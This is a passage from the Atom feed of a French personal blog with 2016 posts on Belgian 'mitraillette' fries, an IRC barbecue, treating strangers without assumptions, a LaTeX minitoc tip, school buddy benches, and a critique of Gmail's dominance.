&lt;p&gt;&lt;em&gt;Crédit photo pit. Ma main, ma feuille, ma belle écriture. Merci à Franck pour la mise à jour rapide du plugin Yash (&lt;a href="http://open-time.net/post/2015/10/08/Plugin-Yash-15-pour-Dotclear"&gt;v1.5&lt;/a&gt;, &lt;a href="http://open-time.net/post/2016/03/25/Plugin-Yash-16-pour-Dotclear"&gt;v1.6&lt;/a&gt;)&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Je ne fais jamais de doigt d'honneur</title><link href="http://blog.namok.be/2016-03-23-je-ne-fais-jamais-de-doigt-honneur.html" rel="alternate"/><published>2016-03-23T00:00:00+01:00</published><updated>2016-03-23T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2016-03-23:/2016-03-23-je-ne-fais-jamais-de-doigt-honneur.html</id><summary type="html">Je ne fais jamais de doigt d'honneur</summary><content type="html">&lt;p&gt;&lt;img alt="frites-doigt-1200.jpg" src="/images/frites-doigt-1200.jpg" title="frites-doigt-1200.jpg, mar. 2016"&gt;&lt;/p&gt;
&lt;p&gt;Je ne fais jamais de doigt d&amp;rsquo;honneur. Je trouve ça vulgaire et agressif. C&amp;rsquo;est sans doute dû à mon éducation &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;. Et pourtant, hier, je me suis laissé emporter. J&amp;rsquo;avais envie de montrer ma belgitude.&lt;/p&gt;
&lt;p&gt;La seule mitraillette qui vaille la peine, c&amp;rsquo;est celle-là.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;La seule mitraillette qui vaille la peine ^^&lt;a href="https://twitter.com/hashtag/belgitude?src=hash"&gt;#belgitude&lt;/a&gt; &lt;a href="https://twitter.com/hashtag/bruxelles?src=hash"&gt;#bruxelles&lt;/a&gt; &lt;a href="https://twitter.com/hashtag/zaventem?src=hash"&gt;#zaventem&lt;/a&gt; &lt;a href="https://twitter.com/hashtag/maelbeek?src=hash"&gt;#maelbeek&lt;/a&gt; &lt;a href="https://t.co/kCV4tZ5LlX"&gt;pic.twitter.com/kCV4tZ5LlX&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;— Pierre BT (@Pinkilla) &lt;a href="https://twitter.com/Pinkilla/status/712261503236378624"&gt;March 22, 2016&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;br /&gt;  &lt;/p&gt;
&lt;p&gt;&lt;em&gt;La photo est de moi. C&amp;rsquo;est mon doigt, ce sont mes frites, c&amp;rsquo;est ma mitraillette-brochette ardenaise-sauce andalouse. Bon ap&amp;rsquo;&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;J&amp;rsquo;aillais écrire &lt;em&gt;éducation judéo-chrétienne&lt;/em&gt; puisque c&amp;rsquo;est l&amp;rsquo;éducation que j&amp;rsquo;ai reçue puis je me suis repris. Ça n&amp;rsquo;a rien de judéo-chrétien, c&amp;rsquo;est simplement de l&amp;rsquo;éducation. Point barre.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Barbecue IRC 0b1001</title><link href="http://blog.namok.be/2016-03-18-barbecue-irc-9.html" rel="alternate"/><published>2016-03-18T00:00:00+01:00</published><updated>2016-03-18T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2016-03-18:/2016-03-18-barbecue-irc-9.html</id><summary type="html">Barbecue IRC 0b1001</summary><content type="html">&lt;p&gt;&lt;img alt="vie-domestique-1.jpg" src="/images/vie-domestique-1.jpg" title="vie-domestique-1.jpg, mar. 2016"&gt;&lt;/p&gt;
&lt;p&gt;Message à l&amp;rsquo;intention des quelques initiés:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Le neuvième barbecue &lt;em&gt;irc&lt;/em&gt; aura bien lieu&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Le petit déjeuner ne sera malheureusement pas offert. Crédit photo, &lt;a href="https://www.susancopich.com/portfolio/domestic-bliss"&gt;Susan Copich&lt;/a&gt;. Je vous conseille toute sa série de photos avec le détail qui tue.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>L'être du troisième millénaire</title><link href="http://blog.namok.be/2016-03-08-etre-du-troisieme-millenaire.html" rel="alternate"/><published>2016-03-08T00:00:00+01:00</published><updated>2016-03-08T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2016-03-08:/2016-03-08-etre-du-troisieme-millenaire.html</id><summary type="html">Les personnes que je ne connais pas n'ont ni sexe, ni genre, ni religion ni…</summary><content type="html">&lt;p&gt;&lt;img alt="the_nun_by_angelhand.jpg" src="/images/the_nun_by_angelhand.jpg" title="the_nun_by_angelhand.jpg, mar. 2016"&gt;&lt;/p&gt;
&lt;p&gt;ou &lt;em&gt;Mon voisin n&amp;rsquo;a ni sexe ni religion&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Avant, je croisais parfois une jolie fille dans la rue. Je croisais parfois aussi une « bonne sœur ». Il m&amp;rsquo;est arrivé aussi de croiser une jolie bonne sœur.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Les gens que je rencontre n&amp;rsquo;ont pas de sexe. Ils n&amp;rsquo;ont pas de religion non plus d&amp;rsquo;ailleurs. Dès lors que je parle à quelqu&amp;rsquo;un que je ne connais pas je le considère comme un &lt;em&gt;être du troisième millénaire&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Un &lt;em&gt;être du troisième millénaire&lt;/em&gt; n&amp;rsquo;a &lt;strong&gt;pas de sexe&lt;/strong&gt; parce que j&amp;rsquo;essaie d&amp;rsquo;être féministe. Je ne fais donc aucune hypothèse sur ses compétences sous prétexte qu&amp;rsquo;il soit fille ou garçon (femme ou homme si tu préfères)&lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Un &lt;em&gt;être du troisième millénaire&lt;/em&gt; n&amp;rsquo;a &lt;strong&gt;pas de religion&lt;/strong&gt; parce que j&amp;rsquo;estime que la religion relève de la sphère privée. Sa couleur de peau — évidemment, tous les arabes sont musulmans — ou son sourire béat — tous ceux qui sourient sont des catholiques charismatiques — ou que sais-je encore ne m&amp;rsquo;influencent pas sur mon discours philosophique. Je propose donc ce que j&amp;rsquo;ai envie (rendez-vous dans un bar, bbq de fin d&amp;rsquo;année, visite de l&amp;rsquo;église du coin, lire un article de « Il est vivant »…) et l&amp;rsquo;autre est libre d&amp;rsquo;accepter, de refuser de me dire si ça lui convient ou pas.&lt;/p&gt;
&lt;p&gt;Un &lt;em&gt;être du troisième millénaire&lt;/em&gt; n&amp;rsquo;a &lt;strong&gt;pas de statut matrimonial&lt;/strong&gt; parce qu&amp;rsquo;il n&amp;rsquo;est pas la propriété d&amp;rsquo;un autre. Je dis « Monsieur » à un être qui ressemble à un homme et « Madame » à celui qui ressemble à une femme. Je ne dis jamais « Mademoiselle » ni « Mademoiseau ». Si ça surprend, j&amp;rsquo;explique.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est ce que je &lt;strong&gt;montre&lt;/strong&gt; aux &lt;em&gt;êtres&lt;/em&gt; que je rencontre. Ce que je &lt;strong&gt;pense&lt;/strong&gt;… &lt;a href="2013-03-26-je-suis-un-hommo-blanc-hetero.html"&gt;ne regarde que moi&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Intérieurement, j&amp;rsquo;étiquette très rapidement les gens que je rencontre. Dès que l&amp;rsquo;inconnu s&amp;rsquo;approche, avant le premier contact, je lui colle tout une série de post-it. Au fur et à mesure qu&amp;rsquo;il avance vers moi, deux post-it. Quand il me tend la main, hop, un post-it de plus. Il me dit bonjour, trois post-it.&lt;/p&gt;
&lt;p&gt;Un &lt;em&gt;être du troisième millénaire&lt;/em&gt; est couvert de post-it !&lt;/p&gt;
&lt;p&gt;Un post-it n&amp;rsquo;est pas un tatouage qui ne partira jamais. Un post-it, ce n&amp;rsquo;est même pas du &lt;em&gt;tape&lt;/em&gt; super collant. Un post-it, se colle et se décolle très facilement.&lt;/p&gt;
&lt;p&gt;— Lui, c&amp;rsquo;est un boulet ! pensais-je.&lt;br&gt;
— Ah ben non. Cette remarque est très pertinente, me dis-je quelques secondes plus tard.&lt;/p&gt;
&lt;p&gt;Ma perception des gens qui m&amp;rsquo;entourent se construit tout le temps. C&amp;rsquo;est une évidence de dire qu&amp;rsquo;elle s&amp;rsquo;affine au fur et à mesure où j&amp;rsquo;apprends à connaitre les gens.&lt;/p&gt;
&lt;p&gt;Les êtres du troisième millénaire peuvent, après un temps plus ou moins long, (re)devenir des êtres humains que j&amp;rsquo;apprends à connaitre.&lt;/p&gt;
&lt;p&gt;À chaque rencontre un peu plus.&lt;/p&gt;
&lt;p&gt;Je sais alors ce que je peux dire en fonction des affinités que nous avons.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://angelhand.deviantart.com/art/The-nun-147713705"&gt;angelhand&lt;/a&gt;. N&amp;rsquo;ayant pas trouvé de photo d&amp;rsquo;un être du troisième millénaire, je choisis une photo d&amp;rsquo;une « bonne sœur » d&amp;rsquo;une religion inconnue.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;En relisant quelques années plus tard, je considère qu&amp;rsquo;il n&amp;rsquo;a &lt;strong&gt;pas de genre&lt;/strong&gt; non plus. Je ne m&amp;rsquo;intéresse donc pas au fait qu&amp;rsquo;il soit homme ou femme ou &lt;em&gt;autre&lt;/em&gt;.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>LaTeX, package minitoc</title><link href="http://blog.namok.be/2016-03-05-latex-package-minitoc.html" rel="alternate"/><published>2016-03-05T00:00:00+01:00</published><updated>2016-03-05T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2016-03-05:/2016-03-05-latex-package-minitoc.html</id><summary type="html">LaTeX, package minitoc</summary><content type="html">&lt;p&gt;&lt;img alt="yellow_by_i_shadow.jpg" src="/images/yellow_by_i_shadow.jpg" title="yellow_by_i_shadow.jpg, mar. 2016"&gt;&lt;/p&gt;
&lt;p&gt;Lors d&amp;rsquo;un &lt;a href="2010-11-09-Epsilon-2010.html"&gt;salon&lt;/a&gt; il y a quelques années déjà, j&amp;rsquo;ai découvert la méthode &lt;em&gt;&lt;a href="http://information-mapping.fr/"&gt;information mapping&lt;/a&gt;&lt;/em&gt; pour mettre en forme des textes de manière telle qu&amp;rsquo;ils soient plus lisibles, plus compréhensibles et (donc) mieux compris. La méthode est &lt;em&gt;propriétaire&lt;/em&gt;. C&amp;rsquo;est assez drôle d&amp;rsquo;ailleurs de voir comme l&amp;rsquo;info à ce sujet est assez cadenassée. Il faut suivre les formations et les outils sont MS Windows.&lt;/p&gt;
&lt;p&gt;Bref, j&amp;rsquo;en ai retenu six ans plus tard les points suivants:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;aérer le texte (interlignes plus grands);&lt;/li&gt;
&lt;li&gt;ne pas hésiter à passer des lignes;&lt;/li&gt;
&lt;li&gt;utiliser les &lt;em&gt;items&lt;/em&gt; (liste à puces) et les tableaux dès que c&amp;rsquo;est possible;&lt;/li&gt;
&lt;li&gt;ajouter une table des matières en début de chaque section.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Je voudrais pouvoir ajouter facilement des tables des matières par section lorsque j&amp;rsquo;utilise LaTeX.&lt;/p&gt;
&lt;p&gt;Ça tombe bien, je rédige souvent en &lt;a href="2013-11-19-billet-markdown.html"&gt;Markdown&lt;/a&gt; mes billets et mes notes de cours par exemple. Lorsque ma sortie est en pdf et que c&amp;rsquo;est mouliné par &lt;a href="//johnmacfarlane.net/pandoc/"&gt;pandoc&lt;/a&gt;, je peux ajouter quelques commandes LaTeX directement dans mon texte. Il est donc tout à fait possible d&amp;rsquo;utiliser le package &lt;strong&gt;&lt;a href="http://ctan.org/pkg/minitoc"&gt;MiniToc&lt;/a&gt;&lt;/strong&gt; qui ajoute, justement (comme le monde est bien fait) une mini table des matières en début de section ou chapitre.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ajoute donc à mon entête que j&amp;rsquo;avais &lt;a href="2015-10-08-latex-markdown-wallpaper.html"&gt;déjà présentée&lt;/a&gt; les lignes suivantes dans mes &lt;em&gt;header-include&lt;/em&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;\usepackage{minitoc}&lt;/span&gt;
&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;\setcounter{secttocdepth}{3}&lt;/span&gt;
&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;\renewcommand{\stctitle}{}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;En début de document, je précise que je vais demander des tables des matières par çi par là et qu&amp;rsquo;il faut que LaTeX se prépare.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;\dosecttoc&lt;/span&gt;
&lt;span class="k"&gt;\setcounter&lt;/span&gt;&lt;span class="nb"&gt;{&lt;/span&gt;tocdepth&lt;span class="nb"&gt;}{&lt;/span&gt;1&lt;span class="nb"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;\tableofcontents&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Et lorsque je commence une section en Markdown, je fais suivre mon titre par une commande Latex. Un peu comme suit:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# Titre de niveau un
&lt;span class="k"&gt;\secttoc&lt;/span&gt;
la bla
## Titre de niveau deux qui apparaitra dans la minitoc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Vous pouvez reprendre une activité normale.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://muratsuyur.deviantart.com/art/yellow-69146298"&gt;muratsuyur&lt;/a&gt;. Vous prendrez bien une p&amp;rsquo;tite rondelle de citron dans votre blanche ?&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Le banc (pour se faire) des amis</title><link href="http://blog.namok.be/2016-02-26-banc-des-amis.html" rel="alternate"/><published>2016-02-26T00:00:00+01:00</published><updated>2016-02-26T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2016-02-26:/2016-02-26-banc-des-amis.html</id><summary type="html">Le banc (pour se faire) des amis</summary><content type="html">&lt;p&gt;&lt;img alt="benchyellow-2194451313_8a65d5d48f_o.jpg" src="/images/benchyellow-2194451313_8a65d5d48f_o.jpg" title="benchyellow-2194451313_8a65d5d48f_o.jpg, fév. 2016"&gt;&lt;/p&gt;
&lt;p&gt;Le « banc de l&amp;rsquo;amitié » (&lt;em&gt;buddy bench&lt;/em&gt;) est un endroit (un banc si si) où un écolier peut aller s’asseoir dès qu&amp;rsquo;il se sent seul à la plaine de jeu et qu&amp;rsquo;il ne trouve rien à faire, personne avec qui jouer. Un autre écolier viendra et lui demandera s&amp;rsquo;il veut jouer ou parler.&lt;/p&gt;
&lt;p&gt;Si deux personnes se trouvent sur le banc, elles devraient se demander l&amp;rsquo;une l&amp;rsquo;autre pour jouer ou pour parler.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;initiative vient d&amp;rsquo;une école allemande (&lt;a href="https://www.edulink.networcs.net/sites/teachlearn/esd/Resources/benches.pdf"&gt;pdf&lt;/a&gt;) et fait des émules en &lt;a href="http://www.cotswoldjournal.co.uk/news/local/10824396.School___s_sitting_on_great_idea/"&gt;angleterre&lt;/a&gt; et aux &lt;a href="http://www.huffingtonpost.fr/2014/01/09/solitude-ecole-enfant-banc-amitie_n_4565839.html?utm_hp_ref=france"&gt;états-unis&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est sans doute une idée qui n&amp;rsquo;est pas tout à fait neuve.&lt;/p&gt;
&lt;p&gt;Bien sûr il ne suffit pas de récupérer un banc et de le déposer dans un coin de la cour. Il faut que ce soit le projet d&amp;rsquo;une classe ou d&amp;rsquo;un groupe d&amp;rsquo;élèves soutenu par des enseignants et des surveillants. Ce projet doit être renouvelé, maintenu chaque année.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Le banc (idéalement à angle droit) doit être mis en valeur. Il doit être &lt;strong&gt;peint avec des couleurs vives&lt;/strong&gt;… et donner envie à l&amp;rsquo;enfant seul de venir s&amp;rsquo;y asseoir. On peut mettre derrière lui un panneau signalant que c&amp;rsquo;est un « arrêt amitié ».&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Le projet est expliqué chaque année dans toutes les classes et les enfants sont d&amp;rsquo;accord de parler ou jouer avec &lt;strong&gt;n&amp;rsquo;importe qui&lt;/strong&gt; installé sur le banc. Ils sont sensibilisés à l&amp;rsquo;usage du banc de l&amp;rsquo;amitié. Les enseignants ont pu leur expliquer les raisons pour lesquelles on est parfois triste ou seul.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Un &lt;em&gt;buddy bench squad&lt;/em&gt; peut être mis en place comprenant des enfants (et des enseignants) reconnaissables et ayant la responsabilité d&amp;rsquo;&lt;strong&gt;être attentif&lt;/strong&gt; au banc de l&amp;rsquo;amitié. Cette responsabilité peut être une tâche hebdomadaire comme « effacer le tableau ».&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Les surveillants de la cours de récréation, qu&amp;rsquo;ils fassent partie ou pas du &lt;em&gt;buddy bench squad&lt;/em&gt;, sont attentif au banc de l&amp;rsquo;amitié.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez Flickr par &lt;a href="https://www.flickr.com/photos/blondyimp/2194451313/"&gt;blondyimp&lt;/a&gt;. Mieux vaut ne pas choisir un banc au milieu des vagues.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Pourquoi faut il lutter contre les sociétés privées ?</title><link href="http://blog.namok.be/2016-02-19-pourquoi-faut-il-lutter-contre-les-societes-privees.html" rel="alternate"/><published>2016-02-19T00:00:00+01:00</published><updated>2016-02-19T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2016-02-19:/2016-02-19-pourquoi-faut-il-lutter-contre-les-societes-privees.html</id><summary type="html">Pourquoi faut il lutter contre les sociétés privées ?</summary><content type="html">&lt;p&gt;&lt;img alt="budapest_i_by_outlawblues.jpg" src="/images/budapest_i_by_outlawblues.jpg" title="budapest_i_by_outlawblues.jpg, fév. 2016"&gt;&lt;/p&gt;
&lt;p&gt;Chaque fois que je dois faire pipi et que je me trouve dans un restaurant ou dans un café, je vais faire pipi dans l&amp;rsquo;urinoir.&lt;/p&gt;
&lt;p&gt;— Génial ! C&amp;rsquo;est maintenant qu&amp;rsquo;on applaudit ?&lt;/p&gt;
&lt;p&gt;Donc, je passe les détails sur la miction proprement dite &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; et le rangement de « la bête &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; » pour m&amp;rsquo;intéresser à ce que l&amp;rsquo;on fait juste après &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt; &lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;On appuie sur le petit bouton pour tirer la chasse &lt;sup id="fnref:f5"&gt;&lt;a class="footnote-ref" href="#fn:f5"&gt;5&lt;/a&gt;&lt;/sup&gt;.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;La plupart des utilisateurs d&amp;rsquo;urinoirs pouss·ai·ent ledit bouton et tout était bien dans le meilleur des mondes &lt;sup id="fnref:f6"&gt;&lt;a class="footnote-ref" href="#fn:f6"&gt;6&lt;/a&gt;&lt;/sup&gt;. Jusqu&amp;rsquo;au jour où la société &lt;a href="http://www.schell.eu/francaise-fr/produits/wc/robinets-de-rincage-a-encastrer/reservoirs-de-chasse-deau-encastres/reservoirs-de-chasse-deau-encastres-modules-de-montage/details/artikel/011150699.html"&gt;SCHELL&lt;/a&gt; a fourni des chasses automatiques avec un petit détecteur de présence. Un petit pas pour l&amp;rsquo;homme… en arrière et l&amp;rsquo;eau coule &lt;sup id="fnref:f7"&gt;&lt;a class="footnote-ref" href="#fn:f7"&gt;7&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Le résultat c&amp;rsquo;est que maintenant lorsque tu passes aux toilettes, tu as perdu l&amp;rsquo;habitude de pousser sur le bouton puisque beaucoup d&amp;rsquo;urinoirs disposent de ce robinet d&amp;rsquo;urinoir infrarouge.&lt;/p&gt;
&lt;p&gt;Le deuxième effet &lt;em&gt;kiss cool&lt;/em&gt; c&amp;rsquo;est que si tu n&amp;rsquo;as pas ce type de chasse sur ton urinoir, beaucoup plus d&amp;rsquo;utilisateurs ne pousseront plus ta chasse. Non pas par mauvaise volonté comme les quelques rares jadis mais parce qu&amp;rsquo;ils en ont perdu l&amp;rsquo;habitude. Te voilà &lt;strong&gt;obligé&lt;/strong&gt; &lt;sup id="fnref:f8"&gt;&lt;a class="footnote-ref" href="#fn:f8"&gt;8&lt;/a&gt;&lt;/sup&gt; d&amp;rsquo;installer cette chasse.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;La société privée a donc imposé un usage.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ce n&amp;rsquo;est bien sûr pas le seul domaine concerné. Tu auras sans doute ton propre exemple &lt;sup id="fnref:f9"&gt;&lt;a class="footnote-ref" href="#fn:f9"&gt;9&lt;/a&gt;&lt;/sup&gt;. Et bien, internet n&amp;rsquo;y échappe évidemment pas.&lt;/p&gt;
&lt;p&gt;Pour rappel, internet, c&amp;rsquo;est le réseau. C&amp;rsquo;est-à-dire que ce ne sont &lt;strong&gt;que&lt;/strong&gt; les machines et les câbles reliant ces machines. Chacun est libre d&amp;rsquo;utiliser tous les services qu&amp;rsquo;il veut et chacun est libre de proposer un service. Ce blog est un exemple de « service » &lt;sup id="fnref:f10"&gt;&lt;a class="footnote-ref" href="#fn:f10"&gt;10&lt;/a&gt;&lt;/sup&gt;. Chacun est libre également de faire payer un service dès lors qu&amp;rsquo;il estime qu&amp;rsquo;il a une valeur ajoutée par rapport aux autres &lt;sup id="fnref:f11"&gt;&lt;a class="footnote-ref" href="#fn:f11"&gt;11&lt;/a&gt;&lt;/sup&gt;. Tout ça est sain.&lt;/p&gt;
&lt;p&gt;Certains utilisateurs de &lt;em&gt;internet&lt;/em&gt; offrent des services très utilisés et deviennent donc incontournables. Dès lors qu&amp;rsquo;ils ont le (quasi) monopole, ils peuvent imposer une manière de fonctionner. Ils risquent de tuer la « concurrence &lt;sup id="fnref:f12"&gt;&lt;a class="footnote-ref" href="#fn:f12"&gt;12&lt;/a&gt;&lt;/sup&gt; ». Et tuer cette concurrence, c&amp;rsquo;est &lt;strong&gt;tuer le web ouvert&lt;/strong&gt; &lt;sup id="fnref:f13"&gt;&lt;a class="footnote-ref" href="#fn:f13"&gt;13&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Pour arriver à leurs fins, ils utilisent des techniques de sioux &lt;sup id="fnref:f14"&gt;&lt;a class="footnote-ref" href="#fn:f14"&gt;14&lt;/a&gt;&lt;/sup&gt;. L&amp;rsquo;exemple du jour, c&amp;rsquo;est Google et plus particulièrement GMail.&lt;/p&gt;
&lt;p&gt;Petit historique&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;1995&lt;/strong&gt; Les adresses emails sont chez &lt;em&gt;free&lt;/em&gt;, &lt;em&gt;hotmail&lt;/em&gt;, &lt;em&gt;skynet&lt;/em&gt; et &lt;em&gt;yahoo&lt;/em&gt; pour la plupart. Les utilisateurs utilisent un &lt;em&gt;client mail&lt;/em&gt; (souvent Outlook, parfois mutt &lt;sup id="fnref:f15"&gt;&lt;a class="footnote-ref" href="#fn:f15"&gt;15&lt;/a&gt;&lt;/sup&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;2000&lt;/strong&gt; Les utilisateurs commencent à utiliser de plus en plus un &lt;em&gt;client web&lt;/em&gt; pour lire leurs mails. Au lieu d&amp;rsquo;installer un programme, ils consultent directement leurs mails dans une page web. C&amp;rsquo;est facile, on commence à être itinérant et à lire ses mails de partout.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;2004&lt;/strong&gt; Gmail débarque et propose des comptes emails gratuits &lt;sup id="fnref:f16"&gt;&lt;a class="footnote-ref" href="#fn:f16"&gt;16&lt;/a&gt;&lt;/sup&gt;. Le service fonctionne bien, &amp;ndash;beaucoup&amp;ndash; tout le monde change et crée une adresse Gmail. Beaucoup de fonctionnalités ne sont disponibles qu&amp;rsquo;avec le navigateur web. &lt;em&gt;C&amp;rsquo;est là que ça commence à puer&lt;/em&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;i+1&lt;/strong&gt; Pour attirer encore plus le chalan &lt;sup id="fnref:f17"&gt;&lt;a class="footnote-ref" href="#fn:f17"&gt;17&lt;/a&gt;&lt;/sup&gt;, Google propose que l&amp;rsquo;on puisse gérer d&amp;rsquo;autres comptes que des comptes Gmail avec son interface web. Tu peux par exemple accéder à ton mail &lt;em&gt;Yahoo&lt;/em&gt; via l&amp;rsquo;interface web de Gmail.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;2016&lt;/strong&gt; Google propose &lt;a href="http://gmailblog.blogspot.be/2016/02/gmailify-best-of-gmail-without-gmail.html"&gt;Gmailify&lt;/a&gt; pour &lt;em&gt;gmailifier&lt;/em&gt; ton adresse mail. C&amp;rsquo;est simple &lt;sup id="fnref:f18"&gt;&lt;a class="footnote-ref" href="#fn:f18"&gt;18&lt;/a&gt;&lt;/sup&gt;, tu donnes tes identifiants Yahoo ou autres à Gmailify et en échange&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;tu bénéficies de l&amp;rsquo;antispam, du classement des mails… de &lt;em&gt;l&amp;rsquo;expérience Gmail&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;(écrit en petit) tu fais passer tous tes mails par Google, qui ne se gênera pas pour les lire&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ce qui veut dire que demain « tout le monde » utilisera l&amp;rsquo;interface web de Google. Après-demain, je ne pourrai plus en utiliser une autre et c&amp;rsquo;est ça qui me gêne. Je veux pouvoir garder une certaine liberté. &lt;strong&gt;Je veux pouvoir choisir les outils que j&amp;rsquo;utilise&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Je veux pouvoir continuer de décider comment je fais si je &lt;a href="2007-12-06-netiquette.html"&gt;cite un mail&lt;/a&gt; et comment se présente un &lt;em&gt;thread&lt;/em&gt; (fil de discussion). Je veux pouvoir classer comme je veux mes mails lorsque je &lt;a href="2013-10-29-bon-usage-mailing-list.html"&gt;participe à une mailing list&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;— Que faire alors ?&lt;br&gt;
— Casser toutes les chasses SCELL infrarouges et taguer &lt;em&gt;free internet&lt;/em&gt; sur les urinoirs !&lt;/p&gt;
&lt;p&gt;Plus sérieusement, ne pas tout rejeter en bloc. Tout n&amp;rsquo;est pas mauvais et il faut réagir en fonction de ses capacités et du temps que l&amp;rsquo;on veut bien y consacrer &lt;sup id="fnref:f19"&gt;&lt;a class="footnote-ref" href="#fn:f19"&gt;19&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
